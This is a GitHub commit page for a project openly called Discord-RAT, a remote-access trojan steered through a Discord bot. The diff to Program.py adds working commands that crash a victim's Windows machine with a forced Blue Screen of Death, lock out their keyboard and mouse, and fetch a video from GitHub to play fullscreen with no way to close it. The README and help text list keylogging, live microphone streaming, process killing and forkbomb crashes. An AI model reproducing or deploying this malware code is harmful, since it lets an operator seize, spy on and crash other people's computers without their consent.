Skip to content

Commit

Permalink
Added rickroll, bsod and Input blocking
Browse files Browse the repository at this point in the history
- added bsod command
- added Input blocking
- added a very cool Rickroll
  • Loading branch information
truelockmc committed Jan 31, 2025
1 parent e69de48 commit d582bc4
Show file tree
Hide file tree
Showing 3 changed files with 189 additions and 4 deletions.
178 changes: 178 additions & 0 deletions Program.py
Original file line number Diff line number Diff line change
Expand Up @@ -37,10 +37,14 @@
import pyaudio
import base64
from pynput.keyboard import Key, Listener
from pynput import keyboard, mouse
from PIL import ImageGrab
import threading
import requests
import json
import vlc
import tkinter as tk
from tkinter import messagebox

admin_status_file = "admin_status.txt" # Füge diese Zeile hinzu, um die Variable zu definieren

Expand All @@ -62,6 +66,10 @@
# Erhalte das temporäre Verzeichnis des Systems
temp_dir = tempfile.gettempdir()

# URL des Rickroll-Videos
VIDEO_URL = 'https://github.com/truelockmc/Discord-RAT/raw/refs/heads/main/RickRoll.mp4'
VIDEO_PATH = os.path.join(temp_dir, 'rickroll.mp4')

def is_authorized(ctx):
return ctx.author.id in AUTHORIZED_USERS

Expand Down Expand Up @@ -223,6 +231,9 @@ async def custom_help(ctx):
`!mic_stream_start` - Starts a live stream of the microphone to a voice channel.
`!mic_stream_stop` - Stops the mic stream if activated.
`!keylog <on/off>` - Activates or deactivates keylogging.
`!bsod` - triggers a Blue Screen of Death
`!rickroll` - ~you guessed it. It plays an Rickroll that is inescapable till the End.
`!input <block/unblock>` - completely blocks or unblocks the User Input, Mouse and Keyboard.
"""
await ctx.send(help_text)

Expand Down Expand Up @@ -892,6 +903,173 @@ async def mic_stream_stop(ctx):

await ctx.voice_client.disconnect()
await ctx.send(f"`[{current_time()}] Left voice-channel.`", delete_after=10)

# Function to block closing the window
def on_closing():
messagebox.showinfo("Nope", "You can't close this window! 😏")

# Function to download the video
def download_video(url, path):
response = requests.get(url, stream=True)
total_size = int(response.headers.get('content-length', 0))
with open(path, 'wb') as file:
for chunk in response.iter_content(chunk_size=1024):
if chunk:
file.write(chunk)

# Function to play the video
def play_video():
# Create the main window
window = tk.Tk()
window.title("Rickroll")
window.attributes("-fullscreen", True) # Fullscreen mode
window.attributes("-topmost", True) # Always on top
window.overrideredirect(True) # Remove title bar
window.protocol("WM_DELETE_WINDOW", on_closing) # Block closing

# Frame for the VLC player
frame = tk.Frame(window, bg='black')
frame.pack(fill=tk.BOTH, expand=1)

# Initialize VLC player
instance = vlc.Instance()
player = instance.media_player_new()
media = instance.media_new(VIDEO_PATH)
player.set_media(media)

# Embed VLC player in the Tkinter frame
player.set_hwnd(frame.winfo_id())

def check_video_end():
state = player.get_state()
if state == vlc.State.Ended:
close_window()
else:
window.after(1000, check_video_end)

def close_window():
player.stop()
window.destroy()
try:
os.remove(VIDEO_PATH)
except PermissionError:
print("Unable to delete the video file, it might still be in use.")

# Play the video when the window opens
window.after(1000, player.play)
window.after(1000, check_video_end)
window.mainloop()

# Discord bot command to play the Rickroll video
@bot.command(name='rickroll')
async def rickroll(ctx):
working_message = await ctx.send("🎥 Preparing Rickroll...")

def run_video():
if not os.path.exists(VIDEO_PATH):
download_video(VIDEO_URL, VIDEO_PATH)
play_video()

# Start the video in a new thread
threading.Thread(target=run_video).start()

await working_message.delete()
await ctx.send("Rickroll is now playing! 🎶")

# Error handling
@rickroll.error
async def rickroll_error(ctx, error):
await ctx.send(f"⚠️ An error occurred: {error}", delete_after=10)

confirmation_pending = {}

@bot.command(name='bsod')
@commands.check(is_authorized)
async def bsod(ctx):
confirmation_pending[ctx.author.id] = True
await ctx.send("⚠️ Warning: You are about to trigger a Bluescreen! Type `!confirm_bsod` within 15 seconds to confirm.")

# Schedule the removal of the confirmation after 30 seconds
await asyncio.sleep(15)
if confirmation_pending.get(ctx.author.id):
confirmation_pending.pop(ctx.author.id, None)
await ctx.send("⏰ Confirmation timeout. Use `!bsod` to start the process again.")

@bot.command(name='confirm_bsod')
@commands.check(is_authorized)
async def confirm_bsod(ctx):
if confirmation_pending.get(ctx.author.id):
await ctx.send("Triggering Bluescreen now... 💀")
# Trigger the Bluescreen
ctypes.windll.ntdll.RtlAdjustPrivilege(19, 1, 0, ctypes.byref(ctypes.c_bool()))
ctypes.windll.ntdll.NtRaiseHardError(0xC0000022, 0, 0, 0, 6, ctypes.byref(ctypes.c_ulong()))
else:
await ctx.send("No pending Bluescreen confirmation. Use `!bsod` to start the process.")

# Clear the pending confirmation
confirmation_pending.pop(ctx.author.id, None)

# Error handling
@bsod.error
async def bsod_error(ctx, error):
await ctx.send(f"⚠️ An error occurred: {error}", delete_after=10)

@confirm_bsod.error
async def confirm_bsod_error(ctx, error):
await ctx.send(f"⚠️ An error occurred: {error}", delete_after=10)

input_blocked = False
keyboard_listener = None
mouse_listener = None

# Function to block user input
def block_input():
global input_blocked, keyboard_listener, mouse_listener
if not input_blocked:
input_blocked = True
keyboard_listener = keyboard.Listener(suppress=True)
mouse_listener = mouse.Listener(suppress=True)
keyboard_listener.start()
mouse_listener.start()
print("Input blocked.")

# Function to unblock user input
def unblock_input():
global input_blocked, keyboard_listener, mouse_listener
if input_blocked:
input_blocked = False
keyboard_listener.stop()
mouse_listener.stop()
print("Input unblocked.")

# Command to block or unblock input
@bot.command(name='input')
@commands.check(is_authorized)
async def input_command(ctx, action: str):
global input_blocked
if action == 'block':
if input_blocked:
msg = await ctx.send("❌ Input is already blocked.")
await msg.delete(delay=5)
else:
block_input()
await ctx.send("🔒 Input has been blocked.\nTo unblock, use `!input unblock`. The only way to bypass this is to press `Ctrl + Alt + Delete`.")
elif action == 'unblock':
if not input_blocked:
msg = await ctx.send("❌ Input is already unblocked.")
await msg.delete(delay=5)
else:
unblock_input()
await ctx.send("🔓 Input has been unblocked.")
else:
msg = await ctx.send("❌ Invalid action. Use `!input block` or `!input unblock`.")
await msg.delete(delay=5)

# Error handling
@input_command.error
async def input_command_error(ctx, error):
msg = await ctx.send(f"⚠️ An error occurred: {error}")
await msg.delete(delay=5)

def main():
time.sleep(15)
Expand Down
14 changes: 10 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -30,8 +30,11 @@ It can handle multiple Devices at once.
- **Task Management:** List and kill processes.
- **Purge Messages:** Clear bot messages and commands in the channel.
- **Live Stream Mic:** Livestream the Computers Microphone to a discord voice channel.
- **Keylogger** Log keystrokes and sends them to a Discord channel
- **TTS** Play Text To Speech Messages on the Computer
- **Keylogger:** Log keystrokes and sends them to a Discord channel
- **TTS:** Play Text To Speech Messages on the Computer
- **Block Input:** Completely block the users input, Keyboard and Mouse.
- **Crash/bsod:** Crash the Computer, with a Forkbomb or a Blue Screen of Death.
- **Rickroll:** Play a full screen rickroll, you can only escape it with the Power Button or `Ctrl + Alt + Delete`.

## Requirements

Expand Down Expand Up @@ -64,7 +67,7 @@ Update the following variables in the script:
- `TOKEN`: The token for your Discord bot. _Line 2_
- `GUILD_ID`: The ID of the guild where the bot will operate. _Line 4_
- `AUTHORIZED_USERS`: A list of user IDs that are authorized to control the bot. _Line 7_
- `channel_ids['voice']`: The ID of an Voice Channel on your Server. _Line 180_
- `channel_ids['voice']`: The ID of an Voice Channel on your Server. _Line 188_

## Running the Bot

Expand Down Expand Up @@ -99,7 +102,10 @@ Hier ist die aktualisierte Tabelle, die die zusätzlichen Commands enthält:
| `!tts <message>` | Plays a custom text-to-speech message. |
| `!mic_stream_start` | Starts a live stream of the microphone to a voice channel. |
| `!mic_stream_stop` | Stops the mic stream if activated. |
| `!keylog <on/off>` | Activates or deactivates keylogging. | |
| `!keylog <on/off>` | Activates or deactivates keylogging. |
| `!input <block/unblock>` | Completely blocks or unblocks the User Input, Keyboard and Mouse. | |
| `!rickroll` | Plays an inescapeable Rickroll. |
| `!bsod` | Triggers a Blue Screen of Death. |
### Example Usage
Expand Down
1 change: 1 addition & 0 deletions requirements.txt
Original file line number Diff line number Diff line change
Expand Up @@ -10,3 +10,4 @@ pynput
requests
pyaudio
pyttsx3
python-vlc

0 comments on commit d582bc4

Please sign in to comment.